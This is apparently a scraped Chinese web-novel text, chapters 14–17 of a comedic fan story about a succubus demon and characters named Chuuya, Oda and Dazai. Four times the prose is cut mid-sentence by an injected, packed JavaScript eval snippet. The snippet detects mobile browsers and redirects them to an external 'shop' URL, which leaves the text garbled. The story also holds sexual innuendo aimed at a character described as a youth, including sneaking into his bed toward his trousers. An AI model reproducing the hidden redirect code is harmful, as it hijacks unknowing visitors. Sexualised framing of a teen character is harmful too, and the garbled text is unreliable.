望月鼓着包子脸,晃了晃小腿, “反正吾辈是恶魔,可不管这些乱七八糟的事,对于我们来说,让自己愉悦才是最重要的。” “中也应该多重视一些自己哦~” “……” 中原中也愣住。 赭发少年此时脸上的表情有些错愕。 然而银发恶魔对自己的话却没有什么自觉,只是竖起自己的食指在空气中画着圈,掐着嗓子矫揉造作地说道。 “呼呼,就是说,以后中也想要让自己愉快起来的话,可以来找吾辈哦。吾辈会为你奉上最满意的服务……” “是指再来找你摸尾巴?” 中原中也微微蹙眉,扶着自己的脖子叹了口气,别扭地说道, “那还是算了,总感觉最后会变得很奇怪。” “……”可恶,这个人类是木头吗! 然而再多的东西他还不敢说,生怕系统“雷霆大发”,给自己再狠狠地来一下。 他对单纯的受苦可没任何兴趣。 望月干脆直接闭上了嘴,把头扭向一边。 正当他憋着一口气不说话时,表情扭曲地在心中疯狂吐槽时,忽然听到一旁传来了噗哧一声笑声。 “不过,今天还是谢谢你了,望月。” 望月摇着的尾巴忽然一停,扭过脸看向一旁的中原中也。 中原中也的唇角朝上扬起,蓝色的眸子半眯起,染着笑意。赭发少年那张锐利不好惹的俊俏的脸,此时看上去多了几分难以描述的温柔。 见望月转过头来,中原中也便朝他挑了挑眉,语气轻快地说道。 “心情稍微好点了。” 望月盯着面前对自己露出笑容的中原中也,呆滞地眨了眨豆豆眼。 一时间不知道该作何反应。 过了一会儿,他才终于回过神来。 望月顿时眼睛一亮,尾巴也啪地一下竖了起来,双手直起上半身,就要兴奋地扑上去。 “噢噢噢,中也很满意对吧!那作为奖励的话就让吾辈吃一口……” 中原中也一把捏住扑过来的某只的脸颊,稍稍一用力,就能听见某只嗷嗷叫唤着疼。 赭发少年咬牙切齿地说道。 “不、可、以,想都别想。” 他终于发现了。 不能给这无节操的家伙太多好脸色,不然下一秒,对方就会顺着杆子往上爬。 “……嘁。” 望月顿时又垮起个小猫批脸,不满地抗议道。 “真小气。” “吾辈都让你爽了,也不让吾辈吃一口!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175432|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统憋不住了,无语地吐槽道。 【……明明刚刚最爽的家伙是你吧。】 * 早上。 中原中也迷迷糊糊地睁开眼,感觉到自己的被子里多了一只什么东西,脑袋瞬间清醒了过来。 赭发少年直接一撩盖在身上的被子,然后就看到某个银白色的毛茸茸的脑袋。 望月也没想到中原中也会突然掀开被子,罪恶的小手正搭在赭发少年的裤子边缘,一切犯罪行为尚在发生之前,就被对方抓了个正着。 他咽了口口水,努力打着哈哈。 “……你、你醒了啊中也,今天天气真不错哈哈……” 中原中也的耳朵不知道是气的还是羞耻的,变得通红,咬牙启齿地问道。 “你怎么跑我床上来了!” “嗯……想看看早上能不能蹭到点零食吃,当然不会做什么,只是听说人类青少年早上会有……” 或许是中原中也身上的杀气过于浓烈,觉察到空气中弥漫着的危险气息的望月闭上了嘴,后脑勺上挂满了冷汗,打着哈哈。 “那个,中也是有起床气吗?” 然而已经了解清楚这货本性的赭发少年,可不会再被他这么轻而易举地敷衍过去。 中原中也一字一顿地从牙缝里挤出对方的名字。 “望、月。” “……可以不要揍得这么重吗?”小心翼翼。 “咚。” 银发恶魔捂着自己脑袋上的大包,泪眼汪汪地蹲到了地上。 …… 自从前几天和「羊」的同伴发生争执之后,整个基地内的气氛都变得相当尴尬。 看来一时半会儿,这矛盾还是没办法解决。 中原中也在心中叹了口气。 与其呆在基地里,还不如出去散散心。 最好能够遇到些不长眼的家伙,这样自己就可以揍一顿对方撒口气。 自从魅魔身份被发现后,望月可以说是解开了天性,围着自己飘来飘去,软磨硬泡地企图吃上一口饭。 中原中也对此只能扶额心累。 虽然只要自己稍微凶一点,又或是直接冷下脸,银发少年瞬间就老实下来,眨巴眨巴眼睛开始装无辜。 然而这幅乖巧样坚持不了几秒,一会儿的功夫又会原形毕露。 然而这一出门,自己不过是买东西的功夫。 仅仅只是这么一扭头,某只银发恶魔又不见了踪影。 中原中也忍不住攥紧了拳头,脸黑得跟锅盖似的,额头上的青筋狂跳。 那个混蛋恶魔…这次绝对要好好教训他! 然而另一边,系统也再一次迎来了自己职业生涯的大危机。 其实也不能不算望月故意跑丢。 只是恰好,在路过某个店铺时,他的注意力被完全吸引了去,停下了脚步。 店门口充满暧昧的桃色霓虹灯一闪一闪着,映照在他的脸上,显得光怪陆离。 银发少年站在某个不可描述的店铺前,双手抱胸,一脸严肃地点了点头,感慨道。 “原来如此,这里就是前辈们说的,人类用来出售各种新奇又危险的发明物商店吗。” “人类真是一种富有创造力的生物。” 【……】 危险?某种意义上,这些“发明”的确可是算得上是相当的危险。 银发恶魔闭上眼睛,深呼吸一口气。 然而下一秒睁开,脸上瞬间露出了喜笑颜开的快乐表情。 “事不宜迟,吾辈进去看看都有什么危险的发明……” 系统看着面前这闪闪发光的成|人|用|品店,以及一旁标识牌上的「未成年禁止」,发出了尖锐的电子暴鸣。 【不许进去啊!】 这直播间真的还能留住吗? 15.第十五章 或许是因为出售物品的特殊性的缘故,这家店并不是在大街旁,而是往里头走的一个窄巷,周偶尔才有几个零星的路人从不远处路过。 然而凡是路过的人,都忍不住瞥了一眼站在某个粉色店铺前的银发少年,投以好奇又古怪的目光。 然而被注视的望月则毫无感觉,在和脑内的系统进行着激烈的拉扯。 【中原中也走远了,赶紧跟上吧。】系统试图转移话题。 “比起中也,吾辈现在更对这个感兴趣。” “听前辈们说,人类发明这些玩具是为了获得更多的愉悦,满足欲望;不过对魅魔来说可不算什么好消息,毕竟对于魅魔们来说还是直接OO效率更高。” 望月一只手抵着下巴,自顾自地说着,一边像是肯定自己的说法般点着脑袋。 然而脑内的系统却先受不了了。 【不要自顾自地开始说起来!】 系统拼命地为某只混蛋魅魔的话消着音,脑袋都大了一圈。 望月才不管系统有多么崩溃,倒不如说给对方添堵他还来得高兴。 “白白被这些东西消耗体力还吃不上一口,完全就是吃力不讨好,所以才会称这些为「危险发明品」吧……” 眼见直播间就要朝着某个深渊滑落下去,系统赶紧制止,苦口婆心地努力劝导道, 【我说差不多该走了吧,小心等会儿挨揍。】 提到中原中也,望月这才稍微老实了些。 “吾辈只是逛逛商店而已……” 望月瘪了瘪嘴,小声嘟囔道。 然而不知道想到了什么,银发少年的身体抖了抖,一副害怕的样子。 “之前在魔界的时候,前辈们经常耳提面命告诉吾辈,如果遇上想要使用这些危险发明品的人类的话,一定要阻止,不然下场会很惨。” 【那就远离……】 “嗯……究竟是什么下场呢,吾辈有点好奇。” 系统忽然有种不好的预感。 果然不出他所料,下一秒,某只银发魅魔笑嘻嘻地朝着空气挥了挥手,哪还有什么害怕的样子,兴奋地就差没翘尾巴了。 “都说好奇心害死恶魔,所以综上所述,吾辈决定在遇到危险前先提前探探虚实!” 望月说着,蹦蹦跳跳地就往这店名都得打上马赛克的店铺门口钻进去。 【……都和你说了别进去啊混蛋魅魔!】 系统要崩溃了。 真进去它得给画面打多少马赛克!这直播还做不做得下去了! 一想到到时候直播间里满屏幕都是马赛克,这感人的场景,系统就忍不住想要尖叫。 必须要在画面变得更糟糕之前阻止。 但它的系统权限却始终没有响起警报,处于灰色状态。 就在系统焦头烂额时,一只大手从银发少年的背后伸来,拽住了兜帽,成功阻止某只恶魔欢天喜地的脚步。 望月被迫停了下来,抬头疑惑地看向拽住自己的男人。 “喂,看你在店门口自言自语了半天,想干什么?” 戴着墨镜的店长大叔上下打量了一番面前的望月,脸上露出了然的神情——毕竟这个年纪的小鬼好奇心旺盛,偷摸进来也不少。 于是,他用大拇指指了指门外墙上的告示牌,挑了挑眉,说道。 “小鬼头,我们店可是十八岁以上的人才能进,想来我们店再等两年吧。” 望月不满:“说什么呢,吾辈早就超过十八岁了。” “……真的假的?” 店长大叔把墨镜往下扯了扯,再次打量。 这银发小鬼怎么看都不像是成年人的样子,再童颜也童颜不到这种份上吧? 他狐疑地问道:“……你几岁了?” “五百八十六岁。” “……” …… 织田作之助拿着文件夹,来到委托人所给的地址。 他拐进了窄巷,低头核对着手中的地址时,忽然听见不远处的店铺前似乎正发生着某种争执。 抬起头,便看到一个戴着墨镜的成年男性顶着死鱼眼,单手拎着一个银发少年。 银发少年双脚悬离地面,不停地扑腾着,愤愤地朝着对方抗议道。 “喂,你这人类真是失礼!都说了吾辈没有中二病,快点把吾辈放下来!” “啊对对对。” 店长大叔语气敷衍地应着,然后像是丢猫一样,把银发少年随手往自家店门外一扔。 被丢到地上的望月感觉自己的屁股都要摔裂了。 “痛……可恶,该死的人类,吾辈要让你好好见识一下魅魔的力量。” 炸了毛的银发少年气势汹汹地从地上爬起来,想再去找对方好好证明一下自己的年龄问题时,忽然听到身后响起陌生的低沉男声。 “你好,请问这里是(哔——)吗?” ……刚刚是不是有什么东西被消音了。 望月扭过头,一个穿着黑色条纹衬衫的红发男人正站在自己身后,手里拿着一包用牛皮纸袋装好的文件袋。 男人一脸平静地念出了店名,蓝色的眸子显得波澜不惊。 周围一下子安静了下来。 见没人回应,织田作之助疑惑地低头看了看手中的纸条,抬起头看向店门口双手抱胸的墨镜男,又问了一遍。 “(哔——),请问是这里吗?” “…是。” 店长大叔卡壳了一下,对念完店名还能面不改色的红发男人升起一丝敬佩。 织田作之助则像是个没事人似的,将手里的文件袋递给对方。 “这是委托送达的东西。” “……原来是「邮递员」。” 店长大叔目光一凝,看了眼手中的牛皮袋。 他没有拆开,而是直接收起,朝着红发男人点了点头,“行,东西我收到了。” 店长大叔正准备转身回店内,忽然又想起什么,扭头对门口的织田作之助说道。 “哦对了。「邮递员」小哥,帮个忙,把这未成年的小鬼带走。在店铺前面晃来晃去的,太碍事了。” “啊,嗯……” 这算是额外的委托吗? 织田作之助有些困惑地想道。 “哈?都说了吾辈已经……” 还没等望月说完,店长已经转身回到了店铺内。 可恶,是因为外表吗?原来人类还会看这些东西……等会变成成年人的形态应该就没问题可以进去了吧。 银发恶魔表情扭曲,愤愤地磨了磨后槽牙。 织田作之助垂下脑袋,看了眼旁边鼓着包子脸,还在生闷气的银发少年。 他缓慢地眨了眨眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183562|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟疑地问道。 “还好吗?” “……不好,一点也不好。”望月郁闷地说道。 织田作之助低头看着盘腿坐在地上双手抱胸的望月。后者埋着脑袋,叽叽咕咕的不知道在说什么。 嗯……店长说要把这孩子带走,但是也没说要带到什么地方去。 织田作之助感到苦恼。 于是,他思考了片刻,伸手直接将对方捞起,像是抱着某种货物似的直接夹在了腋下。 “???” 等一下这人类怎么回事? “你干什么?” 望月满头的问号,愣了半天后才反应过来。 “抱歉,这是店长的委托。” “总之你先把吾辈放下来……等会儿,人类你闻起来也好香。” “嗯?是吗?”织田作之助疑惑,另一只手拎起自己的衣领嗅了嗅,然后摇了摇脑袋。 “我没闻到你说的香味。”织田作之助说道,“你想要去哪里?” “想去店里。” “这个不行。”织田略带歉意地说道。 于是,望月立即像是被人强行抱起的猫似的,拼命地挣扎起来。 然而银发少年的动作在他看来完全不算什么。 拥有预知异能的织田作之助预判到对方接下来的举动,十分熟稔地控制住对方的动作,顺便换了一只手。 红发男人的手臂肌肉结实,像是铁钳一样夹住了对方的腰,没有任何留恋地朝着巷口外走去。 “喂、喂,等一下,吾辈还没进去看呢。拜托了,这位先生,请放下吾辈——” 见挣扎无果,相当会审时度势的银发魅魔立即便转变了态度,双手交错抱拳,努力恳求着对方手下留情。 然而不论望月说什么,织田作之助依旧不为所动。 最后,望月就这样被对方夹着,眼巴巴地看着面前明明近在咫尺的粉红小店,离自己越来越远,里头的神秘玩具变成了梦中的泡影。 银发少年伸长了手臂,对着远去的小店从喉咙里发出一声悲鸣。 “让吾辈看看啊——” …… 织田作之助夹着望月离开没多久,另外一个年轻的客人也慢吞吞地从店门口走了进来。 少年的声音平静。 “唔……有人吗?” “哈?怎么又来了一个小鬼,都说了这里可不是你们小朋友能进来的地方……” 店长不耐烦地说着,正准备把对方骂出去时,看清对方的脸后瞬间噤声。 肩上披着大衣的黑发少年饶有兴趣地盯着自己,被绷带缠起大半的脸上,表情似笑非笑。 男人呆滞了半秒后从座位上跳了起来,朝着面前比自己矮了大半个头的黑发少年猛地躬下身子行礼,额头上渗出了冷汗。 “非、非常抱歉,太宰先生。我不知道是您……” 太宰治倒是没怎么在意,随便嗯了一声。 他扫了一圈店内后便收回了目光,长长地叹了口气,依旧是那副没什么精神的样子。 “也不知道是哪个家伙的主意,把情报屋设在这种店铺里……啊,不过从结果论上来说,倒是一个天才想法。” 太宰治嘀咕道。 毕竟一般也不会有人能想到,一个成|人|用|品店居然是港口mafia的情报点。 16.第十六章 太宰治吐槽完,跑去拿文件的男人也终于回来,毕恭毕敬地将手中已经整理好的文件袋递到对方手中。 “太宰先生,您要的东西都在这里了。”男人的声音顿了顿,继续说道,“那个,还有一件事…GSS的人今天似乎有动作了。” 太宰治翻看的动作一停,听了对方的话后,未被绷带遮住的鸢眸微暗,像是若有所思。 店长大叔偷偷瞄了眼黑发少年脸上的表情,依然心有余悸。 这个叫做太宰治的少年虽加入港口mafia没有多久,但一部分了解内情的成员也都知道对方,更何况他这个负责情报部的成员。 这个在现任首领上位前,便跟随其左右的黑发少年,如今正式加入了组织。 明明那张俊俏的脸尚且未完全脱离稚气,而那只眸子却像是垂暮老者般死气沉沉,看不透在想些什么。 “……哦,这样啊。” 黑发少年忽然开口道,店长大叔立即收回了视线。 太宰治合上了手中的文件,忽然勾起唇角,发出一声嗤笑。 黑发少年从口袋中掏出手机,飞快了摁下了几个数字,接起后,声音轻快地命令道。 “通知一队人过来……嗯,记得快一点哦。” * 见自己的探险大计已经破灭,被织田作之助夹在腋下的望月已经放弃了挣扎,麻木着表情地问道。 “人类雄性,你到底要把吾辈带去哪里啊。” “……唔?你是在喊我吗?”织田作之助慢了半拍才反应过来,偏过脸低头看向对方,“我叫织田作之助。” “吾辈叫望月……不对,这不是重点。谁要知道你这家伙的名字啊!”望月下意识回答,随后很快反应过来,朝着对方像挥了挥拳头,龇牙咧嘴地说道,“都说了你要把吾辈带去哪儿啊,快放吾辈下来!” “嗯……我也不知道要把你带去哪儿比较好。”织田作之助礼貌地询问道,“把你放到警察局可以吗?” 望月瞬间噤声,额头上冒出几颗冷汗。 警察局……之前中也也说要把自己送去警察局。 那里好像是人类世界负责掌控秩序的地方,怎么想都应该不是什么好地方。 于是,银发恶魔瞬间变了脸,从刚刚恶劣的态度一下变得温顺乖巧,十指相合着,露出可怜巴巴的眼神试图讨好对方。 “那个,吾、吾辈保证不再去那里,所以能不能别把吾辈送到警察局。” “啊,可是……” “那个墨镜大叔只说让你带走吾辈,又没说要把吾辈送去警察局吧。” “嗯,的确是这样。” 织田作之助想了想,点了点头,觉得对方说得有道理,于是便把手臂间夹着的银发少年放了下来。 重新踩到地面的望月像是一只受到惊吓的猫似的,顿时便要窜走。 开什么玩笑,这个破地方自己是一秒都不想待了! 然而就在此时,空气中那股微妙的香味如同小钩子一样钓住了某只。出于某种不可言说的欲望让银发少年的脚步停了下来。 望月扭过头,看向刚刚让自己愤愤不已的红发青年。 那个叫做织田作之助的人类还没有离开,深蓝色的眸子像是某种澄静的湖面,安静地站在原地注视着自己。 虽然对方刚刚把自己夹着带走的举动,让他有种被当成小孩子的不爽感,而且也不是最适合狩猎的对方。 ——魅魔们一般不会主动去狩猎太过强大的食物,万一有什么事想跑都难。 之前就有个可怜的倒霉蛋前辈,美餐一顿后准备开溜,结果被那扮猪吃老虎的猎物拽着脚踝又给拖了回去,结果好不凄惨。 可高风险也意味着高收益。 毕竟这个红发人类身上,也有一股好吃的气味,让魔忍不住都想流口水——事实上望月也的确咽了口嘴巴里分泌的唾液。 按照刚刚的相处,这个人类似乎也挺容易被骗的样子。 贪婪的本性让银发恶魔舍不得丧失这次机会。 于是,望月又折返了回来。 迫于二人之间颇大的身高差,望月看向对方的脸时,甚至不得不需要微微抬起脑袋。 银发魅魔盯着面前的织田作之助,忍不住咽了口口水,心中跃跃欲试。 ‘没想到这里有这么多的高质量人类雄性。算上中也还有那个黑发人类,刚来人类世界没多久就让吾辈遇见了三个。’ ‘哼哼~这个地方还是有点好处的嘛,吾辈也不是不能再多呆一会儿……’ 当这只银发恶魔说出这些话的时候,系统就已经知道对方想要干什么了,警铃大振。 果然,还未等它开口说什么,银发魅魔的眼睛里便已经冒起闪亮的小星星,身后那条不存在的尾巴快乐地在空气中打着圈。 ‘这个红发人类已经成年了对吧!所以吾辈可以吃到最后一步了吧!’银发恶魔脑内的小人正幸福地捧着自己的脸颊,吸了吸口水,‘这么美味的食物不尝一口都对不起自己了……’ 【不可以!】系统尖叫。 【就、就算对方已经成年……】 说到后面,它自己也哑了声。 ……等等,这么看来,按照道理好像的确也没什么问题。 系统愣了一下,飞速地检索着自己的系统手册,试图从中寻找出一条可以用于现状的守则。 而望月可等不了这么多。 ‘那吾辈就准备上啦——’ 【……你给我停下!】 然而如果它真的能够阻止这只魅魔的行动的话,或许也就不会这么抓狂了。 面前的银发少年折而复返,挡在自己的身前;而织田作之助只是疑惑地低下脑袋,不气不恼地问道。 “还有什么事情吗?” 这个人类雄性……唔,好像是叫织田来着。 对于美味的食物,望月还是愿意花时间去记住对方的名字的。 望月露出一个甜美的笑容,朝着对方眨了眨眼。 “织田先生,你这人倒是挺好的嘛。” “嗯?谢谢?” 织田虽然不明所以,但还是接下了对方的称赞。 面前这个叫做望月的孩子有些奇怪。 明明刚刚还急着跑开,然而此时却又贴近了过来,像是小动物一样轻嗅着。 “织田先生身上的味道,吾辈很喜欢。而且看在你这么优质的份上,由吾辈来主动一点也没问题啦。所以……” 银发少年仰起脑袋,那双紫水晶般漂亮的眸子半眯起,隐约能窥见其中淡淡的桃色爱心。 不知为什么,在对上那紫眸中的桃心时,莫名令人脑袋晕乎乎的。 “要和吾辈一起,做点令自己快乐的事情吗?” “一起做……快乐的事?” “没错。” 望月露出了一个狡黠的笑容,那副姿态宛如小恶魔一般,蛊惑着人坠入地狱。 “织田先生现在最想要做什么呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196258|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?不论什么都可以,尽情地跟随着自己的本能,满足内心的欲望……” 织田作之助思考。 织田作之助恍然大悟。 红发青年的声音终于有了起伏,像是感到愉悦感,问道。 “你也肚子饿了吗?” “……” 望月一瞬间破防了。 他咬牙切齿地挤出自己的声音。 “是啊是啊,吾辈都快要被饿死了!” 银发少年刚刚那副几尽魅惑的神情,瞬间一个大变脸,对着空气就是一顿无能狂怒。 “可恶你知道吾辈饿了多久吗!从来到这里一口饭都没有吃上过,别说一根了,就算是一口气来五根吾辈也……嗷哇哇!” 剧烈的电流瞬间从脖颈上的项圈贯穿全身。 望月被电得瞬间无法动弹,腿脚一软,朝着面前的织田作之助扑倒过去。 织田作之助眼疾手快地扶住对方,原本平静的脸此时忍不住皱起眉毛,眼中露出一丝担忧。 银发少年似乎一时半会儿没办法说话,紧紧抓着自己胸口的布料,额头不停地冒着冷汗,双腿似乎还在发颤。 【滴,警告】 【本直播间禁止发生多人运动。】 ‘吾辈只是随口这么一说,都还没付出实际行动呢!’ 望月磨着后槽牙,在心中疯狂地骂着这混蛋系统。 而系统则冰冷地表示,真等他付出实际行动了再阻止,这个直播间也就彻底完蛋了——只怕给这碧池魅魔机会,后者绝对会毫不犹豫地实践。 看着怀里瑟瑟发抖的银发少年,织田作之助注意到对方的动作,担心地问道。 “你还好吗?看上去你的身体不太舒服。” “唔、嗯……对不起,给您添麻烦了。” 银发少年的声音听上去有气无力的,和之前相比虚弱了不少。 织田作之助想起刚刚对方的话,问道。 “你是肚子饿了吗?” “……是,吾辈的肚子很饿啊。但吾辈也没办法,只能拜托织田先生了。” 望月的脑袋埋在织田作之助的胸口,声音闷闷地回答道。 织田刚想说什么,忽然感觉到银发少年忽然垂下的手正搭在自己的腰间。 望月立起两根手指,作走路状,如同跋涉山峦的旅者一般,从对方的腰间如此一路往上移动着,轻点过的地方带起一阵古怪的痒意。 最后,柔软的指腹停在了对方的胸口处。 “吾辈的意思是说……” 望月将脑袋从对方的怀中抬起,那甜腻的声音如同小猫的爪子般,不轻不重地挠着心脏,让人恍惚。 “拜托了,织田先生。” “请来喂饱吾辈吧。不论织田先生有多少,吾辈都吃得下……” 闻言,红发青年的眸子暗了暗,沉声说道。 “……好吧。” …… 望月坐在店内的吧台前,无语地抬头望着咖啡色的天花板,脑袋上飘过去一串省略号。 而一旁的织田作之助见望月对着面前的咖喱一副眼神溃散的表情,疑惑地歪了歪脑袋,问道。 “不吃吗?我请客哦。” 红发青年似乎想到了什么,贴心地补充。 “不用担心,我会付钱的,你可以尽情地填饱肚子。” “……” 望月几乎快要哭出来了。 ——他才不是「没钱吃饭」的意思啊! 17.第十七章 空气中弥漫着咖喱浓郁的香料味,勾起人肚子里的馋虫,饥肠辘辘。 然而对于望月来说,坐在这里好比上刑。 是他暗示的还不够明显吗?但一般来说,正常的人类雄性应该都能get到他的意思吧。 虽然自己现在已经逐渐习惯了这种翻车……不不不,为什么自己非要习惯这种事情啊! 望月双手抱胸,开始怀疑魔生。 可恶,他倒是想要说的直白些,自己想要做(消音),想要□□(消音),想(消音),(消音)…… 但有这该死的系统虎视眈眈地盯着自己的言行,如果真的说出来绝对会被往死里电的。 想到这里,望月忍不住沉重地叹了口气。 ‘所以,系统你这家伙果然是变态控制狂吧?虽然吾辈倒也不排斥抖S属性……’ 【……你不会被我电爽了吧?】系统莫名感到恶寒。 ‘哼。所以说你努努力,说不定多来几次吾辈就能把这当成情趣play了。’望月在脑内幽幽地说道。 【……你别对着我发|情。】 系统有一瞬间真的很想尖叫。 而织田作之助并不知道银发少年在脑内和系统是如何互相报复的。 红发青年看上去十分期待的样子,舀了一勺咖喱送入口中,脑袋顶上的呆毛随着主人的心情一翘一翘的。 见一旁的银发少年垂头丧气,长吁短叹的,织田作之助放下手中的勺子,偏过脸疑惑地问道。 “不喜欢咖喱吗?” 望月的脸上难以自控地露出了厌恶的表情,双手在胸口比了个叉。 “讨厌!吾辈一口都吃不下。” “啊,原来你不喜欢咖喱啊。那真是太浪费了。” 看出了对方的不情愿,织田作之助的声音里充满了惋惜,像是在为没能找到同好而感到遗憾。 “……” 似乎想起了上次被中原中也强行塞了食物的经历,望月的表情变得扭曲。 原本在胸口比叉的双手转而捂住了自己的嘴巴,望月警惕地看着面前的织田作之助,从缝隙间勉强能够分辨出他在说什么。 “你不会强行塞给吾辈吧?” “嗯?当然不会。每个人都有自己喜欢和不喜欢的东西。”织田作之助平静地说道。 望月这才小心翼翼地放下手,偷偷瞥了眼身旁的红发人类。 或许是真的饿了,织田作之助吃饭的速度很快,不一会儿的工夫就解决掉了面前的咖喱。 虽然红发青年的脸上没有什么表情,但望月还是从对方身上感受到了一种心满意足的愉快感。 自己饿着肚子没办法享用美食,而身旁的红发人类却可以享受着自己爱吃的美食。 这样的对比更是令魔感到惆怅。 吃完饭,二人一起走出了咖喱店。 见一旁的银发少年一副闷闷不乐的神情,织田作之助忽然想到了什么,从自己的口袋中掏出了一块方形物品。 “嗯……不介意的话,要吃这个吗?” 望月正郁闷着,顺手接过了对方给的东西。 他低头,看着手里那块方形食物,疑惑地眨了眨眼。 “这是什么?” “巧克力。完成上一个委托时,委托人给我的。”织田作之助声音顿了顿,继续说道,“我想小孩子应该会喜欢吃这个吧。” “吾辈又不是小孩,你们这几个人类年龄就算加起来再乘十都没有吾辈大好吗。” 望月用自己才能听见的声音小声嘀咕着。 嘀咕完,他又忍不住看了看手中那名为巧克力的食物,秀气的眉毛再次拧成一团。 人类的食物,真的能行吗……看起来又是些奇奇怪怪的东西。 望月一边拆着包装,一边碎碎念着。 “我就不信你们人类的东西能有多好吃,反正你们的食物都是些动物或者植物尸体吧,吃这些和食尸鬼们有什么区……唔,这个闻起来有点香。” 银发少年的声音卡壳。 剥开包装后,是一块棕黑色的长方形块状物体。没了塑料包装,那块叫做巧克力的食物正散发着一种神秘又独特的香味。 好香,好诱人…… 望月咽了口口水,低头像是某种小动物一样嗅了嗅巧克力,然后尝试性地咬了一小口。 那股甜蜜的感觉,像是在舌尖上爆发了火山,那股滚烫得热气涌上天灵盖,大脑都像是被融化了一样。 紫色的眸子瞬间被桃色的爱心占据,脸上不由自主地露出了如同醉酒般的神情。 望月捧起自己的脸,感受到自己脸颊的潮热,身体都快要软下去。 【尾巴,你的尾巴快要露出来了!】 系统看着银发魅魔一副快要发|情了的表情,尖叫着提醒道。 在人类历史的某个阶段中,巧克力的确是被贵族们用于床笫之欢的助兴物——简而言之就是媚|药。 那对于魅魔们来说,的确可以算得上是难得可贵能够享受的人类食物。 唯一可惜的是,虽然很美味,但巧克力里并没有魔力,顶多让他的心情好点,也填不饱肚子。 望月摇摇晃晃着身体,不由自主地又想贴近面前的红发青年。 抬起头时,眼角泛着红意,看上去湿漉漉的。 “既然给了吾辈这么美味的食物,那就让吾辈用身体来支付报……” 面前的银发少年像是只吸了猫薄荷的猫似的,眼睛眯成一条缝隙,脸颊带着潮红。 织田作之助莫名感觉自己的心软了软,没忍住,伸出手摸了摸对方的头发。又细又软,摸起来很舒服。 “没关系,你能喜欢就好。” 他甚至还不轻不重地拍了拍。 红发青年这幅慈祥的态度,怎么看自己都像是被当成小朋友对待了。 “……”可恶,总有一天他要把这群人类雄性全部都吸干。 望月顿时垮起脸,眼神幽怨。 鉴于对方给了自己巧克力,望月选择原谅这个红发人类的无礼。 ‘唉,只可惜到现在吾辈还没尝过人类雄性的滋味是什么呢……吾辈今天可以在路边随便找个人类尝尝味吗?上次被那个黑发人类破坏了机会,真的很可惜诶。这次吾辈总不会那么倒霉吧……’ 望月忍不住吸了吸自己的口水。 看着某只银发魅魔那副痴态脸,系统露出了死鱼眼,提醒道。 【你是不是忘了什么人?】 “哈?吾辈能忘了什么……啊!” 非常不满于系统打断了自己的幻想,回过神来的望月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200596|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住小声嘀咕着。 然后,他忽然意识到自己遗忘了什么。 完蛋了。 自己好像把中也给忘记了。 望月顿时僵在原地,整个魔宛如石膏像般灰白化了,后背冷汗直流。 【恭喜你想起来了。】 系统毫无起伏的电子音祝贺时,莫名带着一种嘲讽的意味。 【顺便提醒一下,目前中原中也正在你的身后。】 “什、” 望月惊得差点跳起来,下意识扭头看向自己的身后。 然而,他就看到中原中也站在不远处,双手抱胸,钴蓝色的眸子死死地盯着自己。 赭发少年的表情阴沉,黑得都能比得上锅底了。 “这是第二次了吧,望、月。你知道我找了你多久吗?” 对方的嘴里每跳出一个音节,望月都忍不住抖一下。 中原中也一步一步地朝着自己走过来,直到站定到自己的面前,那副扑面而来的怒气和压力,让某只恶魔抖得更加厉害了。 望月下意识地往织田作之助的身后一钻,脸上露出谄媚讨好的笑。 “那个,中也……” 然而望月往红发青年身后躲藏的动作,令中原中也更是火冒三丈,脸色比刚刚还要难看。 见状,望月咽了口口水,小心翼翼地从织田的身后挪了出来。 “听吾辈狡辩……解释啊,其实是有原因……唔唔唔!” 望月试图转移话题,眼神游离着不敢和中也对视,然而中原中也可不会再给他机会,伸手直接掐住银发恶魔的脸颊拖了过来,迫使对方盯着自己的眼睛。 赭发少年的手劲很大,若是松开,指定能在那张脸上留下深红色的指痕。 中原中也漆黑着脸,咬牙切齿地骂道。 “下次出门需要我拿条链子牵着你吗?” “倒、倒也不用这么奖励吾辈啦,可以选颜色吗……嗷好痛好痛对不起中也、主人主人!吾辈错了!” 